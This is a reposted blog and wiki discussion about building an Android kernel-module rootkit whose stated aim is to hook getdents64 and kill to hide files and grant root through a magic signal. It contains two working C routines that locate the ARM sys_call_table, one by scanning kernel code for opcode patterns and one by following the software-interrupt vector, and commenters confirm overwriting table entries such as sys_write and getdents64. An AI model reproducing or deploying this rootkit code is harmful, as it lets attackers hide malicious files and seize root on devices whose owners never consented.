您的位置:首页 > 移动开发 > Android开发

Android LKM Rootkit,查找sys_call_table

2013-03-13 16:23 766 查看

Android LKM Rootkit

Rootkit ?
For some reasons, I had to write a special module for Android : a rootkit. That's the reason why I had to recompile the kernel to turn on module support (see last post).
The rootkit itself was no rocket science. The goal was to override getdents64 and kill system calls to hide files and get root with a magic signal. This has been done over and over again and is implemented in most rootkits. What I did not find, however, was a way to hijack syscalls on a ARM architecture (and Android is based on ARM).
Syscall Table
I didn't need to be stealth at all, so I went for the easy way : hijack the syscall table. The problem, as usual, is finding that table. The code below does just that :
static unsigned long* sys_call_table;

static int get_sys_call_table(void) {
unsigned long *ptr;
unsigned long *ptr_save = NULL;
long delta;
ptr=(unsigned long *)init_mm.start_code;

/* The following code should not change, use it as an anchor
*
* include/asm-arm/unistd.h: #define __NR_OABI_SYSCALL_BASE 0x900000 (decimal 9437184)
* scno is defined as r7
71c: e3c07609 bic r7, r0, #9437184 ; bic scno, r0, #__NR_OABI_SYSCALL_BASE
720: e3570071 cmp r7, #113 ; 0x71 cmp scno, #__NR_syscall-__NR_SYSCALL_BASE
724: 13570f59 cmpne r7, #356 ; 0x164 cmpne scno, #NR_syscalls
728: 388d0060 stmccia sp, {r5, r6} ;
72c: 31a00001 movcc r0, r1
730: 31a01002 movcc r1, r2
734: 31a02003 movcc r2, r3
738: 31a03004 movcc r3, r4
73c: 3798f107 ldrcc pc, [r8, r7, lsl #2]
*/

/* Look in the code section */
while((unsigned long )ptr < (unsigned long)init_mm.end_code) {
if((unsigned long *)*ptr == (unsigned long *)sys_close) {
ptr_save = ptr-6;
printk (KERN_INFO" -> matching detected at %p\n", ptr_save);
}
if( (unsigned long *)*ptr == (unsigned long *)0xe3c07609 &&
(unsigned long *)*(ptr+1) == (unsigned long *)0xe3570071 &&
(unsigned long *)*(ptr+2) == (unsigned long *)0x13570f59 &&
(unsigned long *)*(ptr+3) == (unsigned long *)0x388d0060 &&
(unsigned long *)*(ptr+4) == (unsigned long *)0x31a00001 &&
(unsigned long *)*(ptr+5) == (unsigned long *)0x31a01002 &&
(unsigned long *)*(ptr+6) == (unsigned long *)0x31a02003 &&
(unsigned long *)*(ptr+7) == (unsigned long *)0x31a03004 ){

delta = ptr - ptr_save;

printk (KERN_INFO" -> opcode detected at %p, probable stc %p, delta = %ld\n", ptr, ptr_save, delta);

// Should be 0x164 : allow for small variation...
if(delta > 0x154 && delta < 0x174){
sys_call_table = (unsigned long *)ptr_save;
return 0;
}
}
ptr++;
}
return -1;
}
Discussion
BitterBastard, 2009/12/23 12:50
Came across this while looking around for info on sys call hooking on ARM linux. The above method wouldn't work for me on current versions of Android, so I set about trying to find another way. Since the posts in this wiki have been so helpful to me getting started understanding cross-compilation and native Android development, I thought I'd share my method for finding the sys call table. Please feel free to critique, and let me know if there's anywhere more current that I should post this instead; I couldn't find much discussion on this topic anywhere, and this wiki is linked to from a number of places.
The code is below and is commented enough that it should be pretty self-explanatory, but whenever someone else tells me their code is self-explanatory, I just feel dumb for not understanding it ;) So a few sentences of overview might help:
The method given above by fred is based on a search through the code block for pointers to sys_close, looking for a specific memory pattern to indicate when you've found the pointer that sits in the sys_call_table, then relying on the address of the table lying 6 words prior to that address. This is similar to a trick found on x86 systems as well, but is considered somewhat less reliable due to the instability of the pattern relied on. On x86 linux systems, a *somewhat* more reliable way to find the sys_call_table is to look up the sys_call interrupt handler address in the interrupt descriptor table, which is entry 0×80. Then one searches through the sys_call interrupt handler for a reference to the sys_call_table that the handler uses to look up the exact sys_call function that needs to be jumped to. My approach borrows this latter method.
On ARM linux systems, there is no IDT per-se, but the software interrupt (swi) handler is pointed to by a ldr instruction found at 0×00000008, or at 0xFFFF0008 on high-vector implementations like Android. Follow that pointer, search the function it points to for the instruction that loads the sys call table pointer, and you're off to the races. See the code for more details.
//Might not need all these, too lazy to check
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/init_task.h>
#include <linux/syscalls.h>

unsigned long* find_sys_call_table();

int init_module() {
printk("<1> Hello, kernel!\n");
unsigned long *sys_call_table = find_sys_call_table();

return 0;
}
void cleanup_module() {
printk("<1>I'm not offended that you"
"unloaded me. Have a pleasant day!\n");
}

unsigned long* find_sys_call_table()
{
//Address of the sofware interrupt (swi) handler in high vector ARM systems like Android
const void *swi_addr = 0xFFFF0008;

unsigned long* sys_call_table = NULL;
unsigned long* ptr = NULL;
unsigned long vector_swi_offset = 0;
unsigned long vector_swi_instruction = 0;
unsigned long *vector_swi_addr_ptr = NULL;

// Get the load pc instruction from the swi
memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
printk(KERN_INFO "-> vector_swi instruction %lx\n", vector_swi_instruction);

// Read the offset from the swi adress where the handler pointer lives
vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
printk (KERN_INFO "-> vector_swi offset %lx\n", vector_swi_offset);

// Get the pointer to the swi handler (offset is from the load instruction location + 2 words, due to ARM quirks)
vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
printk (KERN_INFO "-> vector_swi_addr_ptr %p, value %lx\n", vector_swi_addr_ptr, *vector_swi_addr_ptr);

/************
* Starting at the beginning of the handler, search for the sys_call_table address load
* This code is the result of the /arch/arm/kernel/entry-common.S file, starting at the line
* ENTRY(vector_swi). You'll see that there is always a zero_fp after saving register state
* before any function begins. It's a good "lighthouse" to search for to make sure
* you've entered the stack-frame-proper before looking for the sys_call_table pointer load
* instruction
************/

ptr=*vector_swi_addr_ptr;
bool foundFirstLighthouse = false;
unsigned long sys_call_table_offset = 0;

printk (KERN_INFO "-> ptr %p, init_mm.end_code %lx\n", ptr, init_mm.end_code);

// Don't search past the end of the code block. This is a dumb bound, I should be searching till I hit the
// equivalent of a ret in ARM, but I didn't feel like figuring it out since ARM doesn't have a ret instruction
while ((unsigned long)ptr < init_mm.end_code && sys_call_table == NULL)
{
// Find the zero_fp invocation (which translates into a load of zero into R11)
if ((*ptr & (unsigned long)0xffff0fff) == 0xe3a00000)
{
foundFirstLighthouse = true;
printk (KERN_INFO "-> found first lighthouse at %p, value %lx\n", ptr, *ptr);
}

// Search for the loading of the sys_call_table (in entry-common.S, given as "adr tbl, sys_call_table",
// which translates to an add and a ldr. The add loads the sys_call_table pointer)
if (foundFirstLighthouse && ((*ptr & (unsigned long)0xffff0000) == 0xe28f0000))
{
// Get the offset from the add that will contain the actual pointer
sys_call_table_offset = *ptr & (unsigned long)0x00000fff;
printk (KERN_INFO "-> sys_call_table reference found at %p, value %lx, offset %lx\n", ptr, *ptr,

sys_call_table_offset);

// Grab that damn pointer and get on with it!
sys_call_table = (unsigned long)ptr + 8 + sys_call_table_offset;
printk (KERN_INFO "-> sys_call_table found at %p\n", sys_call_table);
break;
}

ptr++;
}

return sys_call_table;
}
fred, 2010/01/15 07:20
You're right. My technique is quick and dirty. The good point is that it work on most architectures.
The drawback is that it's not stable. FYI I rewrote the code above for Android 1.6, and NR_syscalls had changed, so I had to increment one of those hex patterns. Not a big deal, but still, you'd want something more reliable.
Your technique is nice, and should be a lot more stable. Plus, it relies on SWI and I find it beautiful :)
Thanks a lot for sharing.
ho_, 2010/02/09 16:11
Hi,
Once you have found sys_call_table
would you then e.g.,
orig_getdents64 = sys_call_table[__NR_getdents64];
Does android use the NR_syscalls or does it reference them differently ?


Cheers dude, keep up the interesting work!!!
?
BitterBastard, 2010/02/16 14:59
Yeah, that's exactly what you'd do. I got as far as replacing sys_write for POC, and it definitely worked. I pulled an example straight out of some 10+ year-old sys_call hooking tutorial, it's just as easy as it has always been on x86, no special sauce there. Infact, take a look at /arch/arm/kernel/entry-common.S to see exactly how a sys_call gets invoked. It goes right to that table and makes the jump, so after you overwrite the entries you care about, you're golden.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  ARM sys_call_table